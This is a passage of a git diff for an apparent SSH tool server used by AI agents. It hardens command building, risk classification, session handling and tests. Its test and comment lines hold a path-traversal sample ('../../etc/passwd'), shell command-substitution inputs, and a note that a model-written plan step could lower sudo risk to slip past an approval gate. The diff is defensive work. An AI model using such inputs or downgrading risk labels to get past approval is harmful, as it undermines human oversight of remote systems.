Array.isArray(resolved.servers) ? resolved.servers : null); if (!servers || servers.length === 0) { return toMcp(fail('ssh_execute_group', `group "${group}" has no servers`), { format }); } @@ -211,7 +220,7 @@ export async function handleSshExecuteGroup({ getConnection, resolveGroup, args } try { const r = await streamExecCommand(client, command, { - cwd, timeoutMs: timeout, debounceMs: DEFAULT_DEBOUNCE_MS, abortSignal, + cwd, timeoutMs: timeout, debounceMs: DEFAULT_DEBOUNCE_MS, raw, abortSignal, }); const formatted = formatExecResult({ server: srv, command, cwd, diff --git a/src/tools/monitoring-tools.js b/src/tools/monitoring-tools.js index 6f49e73..baee3a8 100644 --- a/src/tools/monitoring-tools.js +++ b/src/tools/monitoring-tools.js @@ -629,15 +629,26 @@ export async function handleSshHealthCheck({ getConnection, args }) { // handleSshMonitor -- type-scoped slice // -------------------------------------------------------------------------- -export async function handleSshMonitor({ getConnection, args }) { +// _healthCheck: injectable delegate, defaults to the real aggregator. Tests +// override it to drive the overview parse-guard; production never passes it. +export async function handleSshMonitor({ getConnection, args, _healthCheck = handleSshHealthCheck }) { const { server, type = 'overview', format = 'markdown' } = args || {}; const startedAt = Date.now(); // overview = delegate to health_check if (type === 'overview') { - const hc = await handleSshHealthCheck({ getConnection, args: { server, format: 'json' } }); + const hc = await _healthCheck({ getConnection, args: { server, format: 'json' } }); if (hc.isError) return hc; - const parsed = JSON.parse(hc.content[0].text); + // health_check is invoked with format:'json' so content[0].text is JSON + // today -- guard anyway so a future shape change degrades, not throws. + let parsed; + try { + parsed = JSON.parse(hc.content[0].text); + } catch (_) { + return toMcp(fail('ssh_monitor', + 'overview unavailable: health_check returned an unparseable payload', { server }), + { format, renderer: renderMonitor }); + } if (!parsed.success) { return toMcp(fail('ssh_monitor', parsed.error || 'failed', { server }), { format, renderer: renderMonitor }); } diff --git a/src/tools/plan-tools.js b/src/tools/plan-tools.js index dabba7a..ce2528c 100644 --- a/src/tools/plan-tools.js +++ b/src/tools/plan-tools.js @@ -124,14 +124,19 @@ const RISK_RANK = { low: 0, medium: 1, high: 2 }; const RISK_FROM_RANK = ['low', 'medium', 'high']; /** - * Classify a step's risk. Honors an explicit `risk:` override on the step. + * Classify a step's risk. Override may only RAISE risk, never lower it -- + * a model-supplied step cannot downgrade `exec_sudo` to `low` to slip past + * the approve-token gate. * @param {string} action - * @param {string} [override] -- 'low' | 'medium' | 'high' + * @param {string} [override] -- 'low' | 'medium' | 'high', escalation only * @returns {'low'|'medium'|'high'} */ export function stepRisk(action, override) { - if (override && RISK_RANK[override] != null) return override; - return ACTION_RISK[action] || 'medium'; + const tableRisk = ACTION_RISK[action] || 'medium'; + if (override && RISK_RANK[override] != null) { + return RISK_RANK[override] > RISK_RANK[tableRisk] ? override : tableRisk; + } + return tableRisk; } // -------------------------------------------------------------------------- diff --git a/src/tools/port-test-tools.js b/src/tools/port-test-tools.js index 3d445c4..5befc76 100644 --- a/src/tools/port-test-tools.js +++ b/src/tools/port-test-tools.js @@ -16,6 +16,9 @@ import { ok, fail, toMcp } from '../structured-result.js'; const DEFAULT_PROBE_TIMEOUT_MS = 5000; const DEFAULT_CHAIN = ['dns', 'tcp', 'tls', 'http']; +// target_host allowlist -- hostname / IPv4 / IPv6; no shell metachars, no leading dash. +const SAFE_HOST_RE = /^[A-Za-z0-9:][A-Za-z0-9._:-]*$/; + // -------------------------------------------------------------------------- // Parsers -- pure, exported for tests. // -------------------------------------------------------------------------- @@ -130,6 +133,8 @@ export function buildDnsCommand(host) { } export function buildTcpCommand(host, port, timeoutMs) { + // /dev/tcp fallback interpolates host raw -> reject shell metacharacters first. + if (!SAFE_HOST_RE.test(String(host))) throw new Error('buildTcpCommand: unsafe host'); const h = shQuote(host); const p = Math.max(1, Math.floor(Number(port)) || 0); const timeoutSecs = Math.max(1, Math.ceil(Number(timeoutMs) / 1000)); @@ -200,6 +205,9 @@ export async function handleSshPortTest(ctx = {}) { } const host = String(target_host); + if (!SAFE_HOST_RE.test(host) || host.length > 253) { + return toMcp(fail('ssh_port_test', 'invalid target_host -- must be a hostname or IP address', { server: server ?? null }), { format }); + } const port = target_port != null ? Math.floor(Number(target_port)) : null; // Default chain: dns, tcp, and tls/http only when appropriate for the port. diff --git a/src/tools/session-tools.js b/src/tools/session-tools.js index 7e5e437..a52995c 100644 --- a/src/tools/session-tools.js +++ b/src/tools/session-tools.js @@ -48,7 +48,7 @@ import os from 'os'; import path from 'path'; import { StringDecoder } from 'string_decoder'; -import { stripAnsi, formatDuration } from '../output-formatter.js'; +import { stripAnsi, formatDuration, renderHeader, indentBody } from '../output-formatter.js'; import { ok, fail, toMcp, defaultRender } from '../structured-result.js'; // -------------------------------------------------------------------------- @@ -219,18 +219,15 @@ export class SSHSessionV2 { // We strip ANSI at ingress so the marker regex doesn't need to tolerate // escape sequences interleaved with the marker token. (stripAnsi is // CSI/OSC-aware; it preserves content, including \r.) + // client.shell() folds stderr into the single pty stream -- only `data` + // is wired. No separate stderr listener -> no shared-decoder splice + // corruption on a multibyte char straddling a stdout/stderr boundary. const onData = (data) => { if (this._closed) return; const text = this._decoder.write(data); if (text) this._appendBuffer(stripAnsi(text)); this._drainWaiters(); }; - const onStderr = (data) => { - if (this._closed) return; - const text = this._decoder.write(data); - if (text) this._appendBuffer(stripAnsi(text)); - this._drainWaiters(); - }; const onClose = () => { this._closed = true; // Flush any partial utf8 @@ -253,9 +250,6 @@ export class SSHSessionV2 { }; this.stream.on('data', onData); - if (this.stream.stderr && typeof this.stream.stderr.on === 'function') { - this.stream.stderr.on('data', onStderr); - } this.stream.on('close', onClose); this.stream.on('error', onError); } @@ -268,11 +262,12 @@ export class SSHSessionV2 { } _drainWaiters() { - if (this._waiters.length === 0) return; - // Only the head waiter is active -- commands are serialized. - const head = this._waiters[0]; - const m = this._buffer.match(head.regex); - if (m) { + // Loop: one data chunk can carry >1 sentinel (concurrent sends, fast + // shell). Drain every head waiter whose sentinel is already buffered. + while (this._waiters.length > 0) { + const head = this._waiters[0]; + const m = this._buffer.match(head.regex); + if (!m) break; const matchEnd = m.index + m[0].length; // Everything up through the sentinel line belongs to this command. const captured = this._buffer.slice(0, matchEnd); @@ -541,7 +536,7 @@ function renderSessionStart(result) { if (!result.success) return defaultRender(result); const d = result.data; const lines = []; - lines.push(`[ok] **ssh_session_start** | \`${d.server}\` | \`${result.meta?.duration_ms != null ? formatDuration(result.meta.duration_ms) : ''}\``); + lines.push(renderHeader({ marker: '[ok]', tool: 'ssh_session_start', server: d.server, durationMs: result.meta?.duration_ms })); lines.push(''); lines.push(`- **session_id**: \`${d.session_id}\``); lines.push(`- **shell**: \`${d.shell}\``); @@ -619,18 +614,15 @@ function renderSessionSend(result) { const lines = []; lines.push(`${marker} **ssh_session_send** | \`${result.server}\` | ${badge} | \`${formatDuration(d.duration_ms)}\``); lines.push(`\`$ ${d.command}\` *(in \`${d.cwd_after}\`)*`); + // indentBody, not fences -- a payload line that is itself ``` breaks fences. if (d.stdout && d.stdout.trim()) { lines.push(''); - lines.push('```text'); - lines.push(d.stdout); - lines.push('```'); + lines.push(indentBody(d.stdout)); } if (d.stderr && d.stderr.trim()) { lines.push(''); - lines.push('**stderr**'); - lines.push('```text'); - lines.push(d.stderr); - lines.push('```'); + lines.push('stderr:'); + lines.push(indentBody(d.stderr)); } return lines.join('\n'); } diff --git a/src/tools/tail-tools.js b/src/tools/tail-tools.js index 85f40d6..012e54c 100644 --- a/src/tools/tail-tools.js +++ b/src/tools/tail-tools.js @@ -21,6 +21,8 @@ const DEFAULT_LINES = 10; const DEFAULT_TIMEOUT_MS = 15_000; const DEFAULT_MAX_LEN = 10_000; const RING_BUFFER_CAP = 1_000_000; +// Grace period a closed-but-unread session lingers before a sweep reaps it. +const CLOSED_SESSION_GRACE_MS = 5 * 60_000; /** Session registry -- module-level Map so tools across calls share it. */ const sessions = new Map(); @@ -37,6 +39,29 @@ function rememberStopped(id) { } } +/** + * Reap closed follow-sessions so a stream that ended without an explicit + * ssh_tail_stop never lingers for the server's lifetime. A closed session + * drops when its buffer is fully read, or when it closed past the grace + * period (stream dead -- a stale buffer helps nobody). + * + * `excludeId` is left intact even if reapable: handleSshTailRead passes the + * session it is mid-serving so the caller still gets one final closed:true + * read before that session is dropped at the end of the call. + */ +function reapClosedSessions(now = Date.now(), excludeId = null) { + for (const [id, st] of sessions) { + if (id === excludeId) continue; + if (!st.closed) continue; + const fullyRead = st.readOffset >= st.totalBytes; + const expired = st.closedAt != null && (now - st.closedAt) >= CLOSED_SESSION_GRACE_MS; + if (fullyRead || expired) { + sessions.delete(id); + rememberStopped(id); + } + } +} + /** Exposed for tests to introspect internal state. */ export function _sessionsForTest() { return sessions; @@ -44,6 +69,11 @@ export function _sessionsForTest() { export function _stoppedIdsForTest() { return stoppedIds; } +/** Exposed for tests: drive the closed-session sweep directly. */ +export function _reapClosedSessionsForTest(now) { + return reapClosedSessions(now); +} +export const _CLOSED_SESSION_GRACE_MS = CLOSED_SESSION_GRACE_MS; /** Coerce numeric arg to a positive integer, with safe fallback. */ function safeLines(n, fallback = DEFAULT_LINES) { @@ -151,7 +181,9 @@ export async function handleSshTailStart({ getConnection, args }) { createdAt: Date.now(), buffer: '', totalBytes: 0, // lifetime bytes appended (monotonic, pre-truncation) + readOffset: 0, // highest offset a follow-read has delivered to a caller closed: false, + closedAt: null, // ms timestamp the stream closed (null while open) stream, }; @@ -164,11 +196,17 @@ export async function handleSshTailStart({ getConnection, args }) { } } + function markClosed() { + if (state.closed) return; + state.closed = true; + state.closedAt = Date.now(); + } stream.on('data', (d) => append(stripAnsi(d.toString('utf8')))); stream.stderr && stream.stderr.on('data', (d) => append(stripAnsi(d.toString('utf8')))); - stream.on('close', () => { state.closed = true; }); - stream.on('error', () => { state.closed = true; }); + stream.on('close', markClosed); + stream.on('error', markClosed); + reapClosedSessions(); // sweep stale sessions before adding a new one sessions.set(id, state); resolve(state); }); @@ -198,6 +236,10 @@ export async function handleSshTailStart({ getConnection, args }) { export async function handleSshTailRead({ args }) { const { session_id, since_offset, format = 'markdown' } = args || {}; + // Sweep other closed/dead sessions; never the one we are about to serve -- + // it gets one final closed:true read, then is reaped at the end of the call. + reapClosedSessions(Date.now(), session_id); + const state = sessions.get(session_id); if (!state) { return toMcp(fail('ssh_tail_read', `unknown session_id: ${session_id}`), { format }); @@ -241,6 +283,12 @@ export async function handleSshTailRead({ args }) { elided_bytes: elided, }; + // Caller has now seen everything up to `total`. Advance the read watermark + // and reap: a closed + fully-read session drops here -- this very response + // already carried closed:true, so the caller knows the stream ended. + state.readOffset = Math.max(state.readOffset, total); + reapClosedSessions(); + return toMcp( ok('ssh_tail_read', data, { server: state.server }), { format } diff --git a/src/tools/transfer-tools.js b/src/tools/transfer-tools.js index 56f2ac4..d829df0 100644 --- a/src/tools/transfer-tools.js +++ b/src/tools/transfer-tools.js @@ -151,22 +151,32 @@ function pickSyntaxChecker(filePath, override) { return null; } +// regex-escape: neutralize all RegExp metacharacters in literal text +function escapeRegex(s) { + return String(s).replace(/[.*+?^${}()|[\]\\]/g, '\\$&'); +} + /** - * Apply `patch` regex rules to a string. Each rule: {find, replace, flags?}. - * find is treated as a regex pattern (user supplies anchors/escapes). + * Apply `patch` rules to a string. Each rule: {find, replace, flags?, literal?}. + * find is a regex pattern unless literal:true → find is escaped, matched verbatim. */ function applyPatches(current, patches) { let out = String(current); for (const p of patches || []) { if (!p || typeof p.find !== 'string') continue; const flags = typeof p.flags === 'string' ? p.flags : 'g'; + const pattern = p.literal ? escapeRegex(p.find) : p.find; let re; try { - re = new RegExp(p.find, flags); + re = new RegExp(pattern, flags); } catch (e) { throw new Error(`invalid patch regex ${JSON.stringify(p.find)} (flags=${flags}): ${e.message}`); } - out = out.replace(re, p.replace != null ? String(p.replace) : ''); + // $-sequences in replacement stay literal under literal mode → escape $ + const replacement = p.replace != null + ? (p.literal ? String(p.replace).replace(/\$/g, '$$$$') : String(p.replace)) + : ''; + out = out.replace(re, replacement); } return out; } diff --git a/tests/test-alerts-tools.js b/tests/test-alerts-tools.js index ec5953c..ed13a5e 100644 --- a/tests/test-alerts-tools.js +++ b/tests/test-alerts-tools.js @@ -17,7 +17,9 @@ import assert from 'node:assert'; import fs from 'node:fs'; import path from 'node:path'; +import { EventEmitter } from 'node:events'; import { handleSshAlertSetup, __internals } from '../src/tools/alerts-tools.js'; +import { handleSshHealthCheck } from '../src/tools/monitoring-tools.js'; const { configPathFor, writeConfig, evaluateThresholds } = __internals; @@ -150,27 +152,32 @@ await test('check: disabled config returns status=disabled, alert_count=0', asyn }); // --- evaluateThresholds unit tests --------------------------------------- +// IMPORTANT: these feed the REAL field shape that monitoring-tools emits -- +// cpu has only { user_pct, system_pct, idle_pct, iowait_pct } (NO aggregate +// usage field; usage is derived 100 - idle_pct), memory has used_pct, and +// disk rows have used_pct + device + mount. The pre-fix tests fed fabricated +// usage_percent/used_percent names that the producer never emits. await test('evaluateThresholds: all metrics below thresholds -> no alerts', () => { const alerts = evaluateThresholds( - { cpu: { usage_percent: 30 }, memory: { used_percent: 40 }, disk: [{ mount: '/', used_percent: 20 }] }, + { cpu: { idle_pct: 70 }, memory: { used_pct: 40 }, disk: [{ mount: '/', used_pct: 20 }] }, { cpuThreshold: 80, memoryThreshold: 80, diskThreshold: 80 }, ); assert.strictEqual(alerts.length, 0); }); -await test('evaluateThresholds: CPU breach surfaces', () => { +await test('evaluateThresholds: CPU breach surfaces (usage derived from idle_pct)', () => { const alerts = evaluateThresholds( - { cpu: { usage_percent: 95 }, memory: { used_percent: 10 }, disk: [] }, + { cpu: { idle_pct: 5 }, memory: { used_pct: 10 }, disk: [] }, { cpuThreshold: 80, memoryThreshold: 80, diskThreshold: 80 }, ); assert.strictEqual(alerts.length, 1); assert.strictEqual(alerts[0].metric, 'cpu'); - assert.strictEqual(alerts[0].observed, 95); + assert.strictEqual(alerts[0].observed, 95); // 100 - idle_pct(5) }); await test('evaluateThresholds: memory breach surfaces', () => { const alerts = evaluateThresholds( - { memory: { used_percent: 92 } }, + { memory: { used_pct: 92 } }, { memoryThreshold: 90 }, ); assert.strictEqual(alerts.length, 1); @@ -180,9 +187,9 @@ await test('evaluateThresholds: memory breach surfaces', () => { await test('evaluateThresholds: per-mount disk breach surfaces each mount', () => { const alerts = evaluateThresholds( { disk: [ - { mount: '/', used_percent: 50 }, - { mount: '/var', used_percent: 97 }, - { mount: '/tmp', used_percent: 99 }, + { device: '/dev/sda1', mount: '/', used_pct: 50 }, + { device: '/dev/sda2', mount: '/var', used_pct: 97 }, + { device: '/dev/sda3', mount: '/tmp', used_pct: 99 }, ] }, { diskThreshold: 95 }, ); @@ -192,12 +199,118 @@ await test('evaluateThresholds: per-mount disk breach surfaces each mount', () = await test('evaluateThresholds: missing threshold suppresses that metric', () => { const alerts = evaluateThresholds( - { cpu: { usage_percent: 99 }, memory: { used_percent: 99 } }, + { cpu: { idle_pct: 1 }, memory: { used_pct: 99 } }, { diskThreshold: 50 }, // only disk threshold set ); assert.strictEqual(alerts.length, 0, 'without cpu/memory thresholds, those metrics ignore'); }); +await test('evaluateThresholds: a genuinely-missing metric still skips cleanly', () => { + // cpu absent entirely -> idle_pct undefined -> NaN -> skipped, no throw. + const alerts = evaluateThresholds( + { memory: { used_pct: 99 }, disk: [] }, + { cpuThreshold: 80, memoryThreshold: 90, diskThreshold: 80 }, + ); + assert.strictEqual(alerts.length, 1); + assert.strictEqual(alerts[0].metric, 'memory'); +}); + +// --- end-to-end: REAL handleSshHealthCheck output through evaluateThresholds. +// This is the regression guard for the CRITICAL bug: the producer's field +// names (idle_pct / used_pct) must match what evaluateThresholds reads. A +// fabricated fixture would not catch a producer/consumer field-name drift. +class HealthFakeStream extends EventEmitter { + constructor() { super(); this.stderr = new EventEmitter(); } + write() { return true; } + end() {} + close() {} +} +function healthClient(stdout) { + return { + exec(_cmd, cb) { + const s = new HealthFakeStream(); + setImmediate(() => { + cb(null, s); + setImmediate(() => { s.emit('data', Buffer.from(stdout)); s.emit('close', 0); }); + }); + }, + }; +} + +await test('evaluateThresholds: real handleSshHealthCheck output above thresholds fires alerts', async () => { + // top/free/df output exactly as the remote command in handleSshHealthCheck + // produces it -- a busy host at ~98% CPU, 96% memory, 97% disk. + const stdout = [ + '---CPU---', + 'top - 12:00:00 up 1 day, load average: 8.0, 7.5, 7.0', + 'Tasks: 200 total, 5 running', + '%Cpu(s): 80.0 us, 15.0 sy, 0.0 ni, 2.0 id, 3.0 wa, 0.0 hi, 0.0 si, 0.0 st', + '---MEM---', + ' total used free shared buff/cache available', + 'Mem: 16000000 15360000 200000 10000 440000 300000', + 'Swap: 2000000 0 2000000', + '---DISK---', + 'Filesystem 1B-blocks Used Available Use% Mounted on', + '/dev/sda1 100000000000 97000000000 3000000000 97% /', + '---LOAD---', + '8.00 7.50 7.00 5/200 12345', + '---UPTIME---', + '86400.00 70000.00', + '---CORES---', + '4', + ].join('\n'); + + const hc = await handleSshHealthCheck({ + getConnection: async () => healthClient(stdout), + args: { server: 'busybox', format: 'json' }, + }); + assert(!hc.isError, 'health check should succeed'); + const payload = JSON.parse(hc.content[0].text); + assert.strictEqual(payload.success, true); + + // Sanity-check the producer really emits the field names we depend on. + assert.strictEqual(payload.data.cpu.idle_pct, 2, 'producer emits cpu.idle_pct'); + assert(typeof payload.data.memory.used_pct === 'number', 'producer emits memory.used_pct'); + assert(typeof payload.data.disk[0].used_pct === 'number', 'producer emits disk[].used_pct'); + + const alerts = evaluateThresholds(payload.data, { + cpuThreshold: 90, memoryThreshold: 90, diskThreshold: 90, + }); + const metrics = alerts.map(a => a.metric).sort(); + assert.deepStrictEqual(metrics, ['cpu', 'disk', 'memory'], + `expected all 3 metrics to fire, got ${JSON.stringify(alerts)}`); + const cpuAlert = alerts.find(a => a.metric === 'cpu'); + assert.strictEqual(cpuAlert.observed, 98, 'cpu usage = 100 - idle_pct(2)'); +}); + +await test('evaluateThresholds: real handleSshHealthCheck output below thresholds -> no alerts', async () => { + const stdout = [ + '---CPU---', + '%Cpu(s): 3.0 us, 1.0 sy, 0.0 ni, 95.0 id, 1.0 wa, 0.0 hi, 0.0 si, 0.0 st', + '---MEM---', + ' total used free shared buff/cache available', + 'Mem: 16000000 4000000 8000000 10000 4000000 11000000', + '---DISK---', + 'Filesystem 1B-blocks Used Available Use% Mounted on', + '/dev/sda1 100000000000 20000000000 80000000000 20% /', + '---LOAD---', + '0.20 0.15 0.10 1/200 12345', + '---UPTIME---', + '86400.00 70000.00', + '---CORES---', + '4', + ].join('\n'); + const hc = await handleSshHealthCheck({ + getConnection: async () => healthClient(stdout), + args: { server: 'idlebox', format: 'json' }, + }); + const payload = JSON.parse(hc.content[0].text); + const alerts = evaluateThresholds(payload.data, { + cpuThreshold: 90, memoryThreshold: 90, diskThreshold: 90, + }); + assert.strictEqual(alerts.length, 0, `quiet host must not alert: ${JSON.stringify(alerts)}`); +}); + // --- path traversal guard ------------------------------------------------- await test('server name with traversal characters cannot escape ALERTS_DIR', () => { const p = configPathFor('../../etc/passwd'); diff --git a/tests/test-backup-tools.js b/tests/test-backup-tools.js index 7f2ec23..26875f5 100644 --- a/tests/test-backup-tools.js +++ b/tests/test-backup-tools.js @@ -6,6 +6,7 @@ import { buildBackupCommand, handleSshBackupCreate, handleSshBackupList, handleSshBackupRestore, handleSshBackupSchedule, } from '../src/tools/backup-tools.js'; +import { unwrapTimeout } from './util-timeout-unwrap.js'; let passed = 0, failed = 0; const fails = []; async function test(name, fn) { @@ -19,7 +20,9 @@ class FakeStream extends EventEmitter { } class FakeClient { constructor({ script } = {}) { this.script = script || (() => ({ stdout: '', code: 0 })); this.commands = []; this.streams = []; } - exec(cmd, cb) { + exec(rawCmd, cb) { + // Recover inner command from `timeout -k N N sh -c ''` wrapper. + const cmd = unwrapTimeout(rawCmd); this.commands.push(cmd); const s = new FakeStream(); this.streams.push(s); setImmediate(() => { diff --git a/tests/test-bash-nudge.js b/tests/test-bash-nudge.js new file mode 100644 index 0000000..76c7642 --- /dev/null +++ b/tests/test-bash-nudge.js @@ -0,0 +1,162 @@ +#!/usr/bin/env node +/** + * Test suite for the PreToolUse Bash-nudge detector. + * Run: node tests/test-bash-nudge.js + */ +import assert from 'assert'; +import { execFileSync } from 'child_process'; +import { fileURLToPath } from 'url'; +import { detectSshNudge } from '../.claude/hooks/ssh-bash-nudge.mjs'; + +let passed = 0; +let failed = 0; +const fails = []; + +function test(name, fn) { + try { + fn(); + passed++; + console.log(`[ok] ${name}`); + } catch (e) { + failed++; + fails.push({ name, err: e }); + console.error(`[err] ${name}: ${e.message}`); + } +} + +console.log('[test] Testing bash-nudge detector\n'); + +const SERVERS = ['prod01', 'devcentos', 'db1']; + +// --- positive: simple ssh ----------------------------------------------- +test('plain "ssh " against a configured server is nudged', () => { + const n = detectSshNudge('ssh prod01 uptime', SERVERS); + assert(n, 'a nudge is returned'); + assert.strictEqual(n.tool, 'ssh_run'); + assert(n.message.includes('prod01'), 'names the server'); + assert(n.message.includes('ssh_run'), 'names the suggested tool'); +}); + +test('"ssh user@host" form is matched on the host part', () => { + const n = detectSshNudge('ssh root@devcentos df -h', SERVERS); + assert(n && n.tool === 'ssh_run'); +}); + +test('ssh with a -p port flag before the host is still matched', () => { + const n = detectSshNudge('ssh -p 22 prod01 whoami', SERVERS); + assert(n && n.tool === 'ssh_run'); +}); + +// --- positive: scp / rsync ---------------------------------------------- +test('scp to a configured server is nudged toward ssh_file', () => { + const n = detectSshNudge('scp ./app.tar prod01:/srv/app.tar', SERVERS); + assert(n && n.tool === 'ssh_file'); +}); + +test('rsync to a configured server is nudged toward ssh_file', () => { + const n = detectSshNudge('rsync -a ./dist/ devcentos:/var/www/', SERVERS); + assert(n && n.tool === 'ssh_file'); +}); + +// --- negative: not a configured server ---------------------------------- +test('ssh to an unconfigured host is NOT nudged', () => { + assert.strictEqual(detectSshNudge('ssh some-random-box uptime', SERVERS), null); +}); + +test('a configured name as a substring of another host is not matched', () => { + // "db1" must not match "db1.example.com" or "olddb1". + assert.strictEqual(detectSshNudge('ssh db1.example.com ls', SERVERS), null); + assert.strictEqual(detectSshNudge('ssh olddb1 ls', SERVERS), null); +}); + +// --- negative: complex command lines pass through ----------------------- +test('a piped command line is passed through (no nudge)', () => { + assert.strictEqual(detectSshNudge('ssh prod01 ps aux | grep node', SERVERS), null); +}); + +test('command substitution is passed through (no nudge)', () => { + assert.strictEqual(detectSshNudge('ssh prod01 "$(cat cmd.txt)"', SERVERS), null); + assert.strictEqual(detectSshNudge('ssh prod01 `hostname`', SERVERS), null); +}); + +test('an && / ; chained command line is passed through', () => { + assert.strictEqual(detectSshNudge('cd /tmp && ssh prod01 ls', SERVERS), null); + assert.strictEqual(detectSshNudge('ssh prod01 ls; echo done', SERVERS), null); +}); + +test('a redirected command line is passed through', () => { + assert.strictEqual(detectSshNudge('ssh prod01 cat big.log > out.txt', SERVERS), null); +}); + +test('non-ssh commands are never nudged', () => { + assert.strictEqual(detectSshNudge('ls -la /tmp', SERVERS), null); + assert.strictEqual(detectSshNudge('git status', SERVERS), null); +}); + +// --- fail-open ---------------------------------------------------------- +test('empty / nullish command is safe and returns null', () => { + assert.strictEqual(detectSshNudge('', SERVERS), null); + assert.strictEqual(detectSshNudge(null, SERVERS), null); + assert.strictEqual(detectSshNudge(undefined, SERVERS), null); +}); + +test('empty / nullish server list is safe and returns null', () => { + assert.strictEqual(detectSshNudge('ssh prod01 uptime', []), null); + assert.strictEqual(detectSshNudge('ssh prod01 uptime', null), null); +}); + +test('an "ssh" substring inside another word does not trigger', () => { + // "sshpass" / "myssh" must not be read as the ssh client. + assert.strictEqual(detectSshNudge('sshpass -p x ssh prod01 ls', SERVERS), null); +}); + +// --- CLI shell (end-to-end through stdin/stdout) ------------------------ +const HOOK = fileURLToPath(new URL('../.claude/hooks/ssh-bash-nudge.mjs', import.meta.url)); + +// Run the hook with a JSON payload on stdin; capture { stdout, status }. +function runHook(payloadObj) { + try { + const stdout = execFileSync('node', [HOOK], { + input: JSON.stringify(payloadObj), encoding: 'utf8', + }); + return { stdout, status: 0 }; + } catch (e) { + return { stdout: e.stdout || '', status: e.status }; + } +} + +test('CLI: malformed stdin exits 0 with no output', () => { + let status; + try { + execFileSync('node', [HOOK], { input: 'not json', encoding: 'utf8' }); + status = 0; + } catch (e) { + status = e.status; + } + assert.strictEqual(status, 0, 'fail-open on unparseable payload'); +}); + +test('CLI: a non-ssh Bash payload exits 0 with no nudge', () => { + const r = runHook({ tool_name: 'Bash', tool_input: { command: 'ls -la' } }); + assert.strictEqual(r.status, 0); + assert.strictEqual(r.stdout.trim(), '', 'no nudge for a plain ls'); +}); + +test('CLI: a complex ssh payload exits 0 with no nudge', () => { + const r = runHook({ + tool_name: 'Bash', + tool_input: { command: 'ssh prod01 ps aux | grep node' }, + }); + assert.strictEqual(r.status, 0); + assert.strictEqual(r.stdout.trim(), '', 'piped command passed through'); +}); + +test('CLI: empty payload object exits 0', () => { + assert.strictEqual(runHook({}).status, 0); +}); + +console.log(`\n${passed} passed, ${failed} failed`); +if (failed > 0) { + for (const f of fails) console.error(` [err] ${f.name}\n ${f.err.stack}`); + process.exit(1); +} diff --git a/tests/test-cat-tools.js b/tests/test-cat-tools.js index 509152f..1718c28 100644 --- a/tests/test-cat-tools.js +++ b/tests/test-cat-tools.js @@ -3,6 +3,7 @@ import assert from 'assert'; import { EventEmitter } from 'events'; import { handleSshCat, buildCatCommand } from '../src/tools/cat-tools.js'; +import { unwrapTimeout } from './util-timeout-unwrap.js'; let passed = 0, failed = 0; const fails = []; async function test(name, fn) { @@ -16,7 +17,9 @@ class FakeStream extends EventEmitter { } class FakeClient { constructor({ script } = {}) { this.script = script || (() => ({ stdout: '', code: 0 })); this.streams = []; this.lastCommand = null; } - exec(cmd, cb) { + exec(rawCmd, cb) { + // Recover inner command from `timeout -k N N sh -c ''` wrapper. + const cmd = unwrapTimeout(rawCmd); this.lastCommand = cmd; const s = new FakeStream(); this.streams.push(s); setImmediate(() => { diff --git a/tests/test-command-compressors.js b/tests/test-command-compressors.js new file mode 100644 index 0000000..49ff7fd --- /dev/null +++ b/tests/test-command-compressors.js @@ -0,0 +1,132 @@ +#!/usr/bin/env node +/** + * Test suite for src/command-compressors.js. + * Run: node tests/test-command-compressors.js + */ +import assert from 'assert'; +import { compress, compressLs, compressPs } from '../src/command-compressors.js'; + +let passed = 0; +let failed = 0; +const fails = []; + +function test(name, fn) { + try { + fn(); + passed++; + console.log(`[ok] ${name}`); + } catch (e) { + failed++; + fails.push({ name, err: e }); + console.error(`[err] ${name}: ${e.message}`); + } +} + +console.log('[test] Testing command-compressors\n'); + +// --- compressLs ---------------------------------------------------------- +test('compressLs: drops a leading "total" line', () => { + const out = compressLs('total 8\ndrwxr-xr-x a\n-rw-r--r-- b'); + assert.strictEqual(out.text, 'drwxr-xr-x a\n-rw-r--r-- b'); + assert.strictEqual(out.dropped, 1); +}); + +test('compressLs: no total line -> unchanged, dropped 0', () => { + const out = compressLs('file1\nfile2'); + assert.strictEqual(out.text, 'file1\nfile2'); + assert.strictEqual(out.dropped, 0); +}); + +// --- compress dispatcher ------------------------------------------------- +test('compress: ls command routes to compressLs and appends footer', () => { + const r = compress('ls -la /tmp', 'total 8\nfile1'); + assert(r.startsWith('file1'), 'total line dropped'); + assert(r.includes('re-run with raw: true'), 'escape-hatch footer present'); +}); + +test('compress: ls footer names the dropped total-line, not a misleading line count', () => { + // The dropped line is always the `total N` header -- "1 line compressed" + // wrongly implies a content row was hidden. Footer must say total-line. + const r = compress('ls -la /tmp', 'total 8\nfile1\nfile2'); + assert(r.includes('total-line dropped'), `footer should name the total line, got: ${JSON.stringify(r)}`); + assert(!/\b1 line compressed\b/.test(r), 'must not claim "1 line compressed"'); + assert(r.includes('re-run with raw: true'), 'raw escape-hatch hint still present'); +}); + +test('compress: raw:true bypasses compression entirely', () => { + const r = compress('ls -la', 'total 8\nfile1', { raw: true }); + assert.strictEqual(r, 'total 8\nfile1'); +}); + +test('compress: unmatched command returned unchanged, no footer', () => { + const r = compress('echo hi', 'hi'); + assert.strictEqual(r, 'hi'); +}); + +test('compress: ls with nothing to drop adds no footer', () => { + const r = compress('ls', 'file1\nfile2'); + assert.strictEqual(r, 'file1\nfile2'); +}); + +test('compress: empty / nullish text is safe', () => { + assert.strictEqual(compress('ls', ''), ''); + assert.strictEqual(compress('ls', null), ''); +}); + +// --- compressPs ---------------------------------------------------------- +test('compressPs: at or under the cap -> unchanged, dropped 0', () => { + const out = compressPs('HEADER\nrow1\nrow2'); + assert.strictEqual(out.text, 'HEADER\nrow1\nrow2'); + assert.strictEqual(out.dropped, 0); +}); + +test('compressPs: over the cap keeps header + 15 rows, reports dropped', () => { + const rows = Array.from({ length: 30 }, (_, i) => `row${i}`).join('\n'); + const out = compressPs('HEADER\n' + rows); + const lines = out.text.split('\n'); + assert.strictEqual(lines.length, 16, 'header + 15 rows'); + assert.strictEqual(lines[0], 'HEADER'); + assert.strictEqual(lines[15], 'row14', 'kept rows are the top of the list'); + assert.strictEqual(out.dropped, 15); +}); + +test('compress: ps command routes to compressPs with footer', () => { + const rows = Array.from({ length: 30 }, (_, i) => `r${i}`).join('\n'); + const r = compress('ps -eo pid,args', 'HEAD\n' + rows); + assert(r.includes('15 lines compressed'), 'footer reports dropped count'); +}); + +test('compress: ps inside a pipeline is still detected', () => { + const rows = Array.from({ length: 30 }, (_, i) => `r${i}`).join('\n'); + const r = compress('sudo ps aux | grep node', 'HEAD\n' + rows); + assert(r.includes('compressed'), 'ps after sudo/pipe still matched'); +}); + +test('compressPs: real ps output (trailing newline) -> dropped is exact', () => { + const rows = Array.from({ length: 30 }, (_, 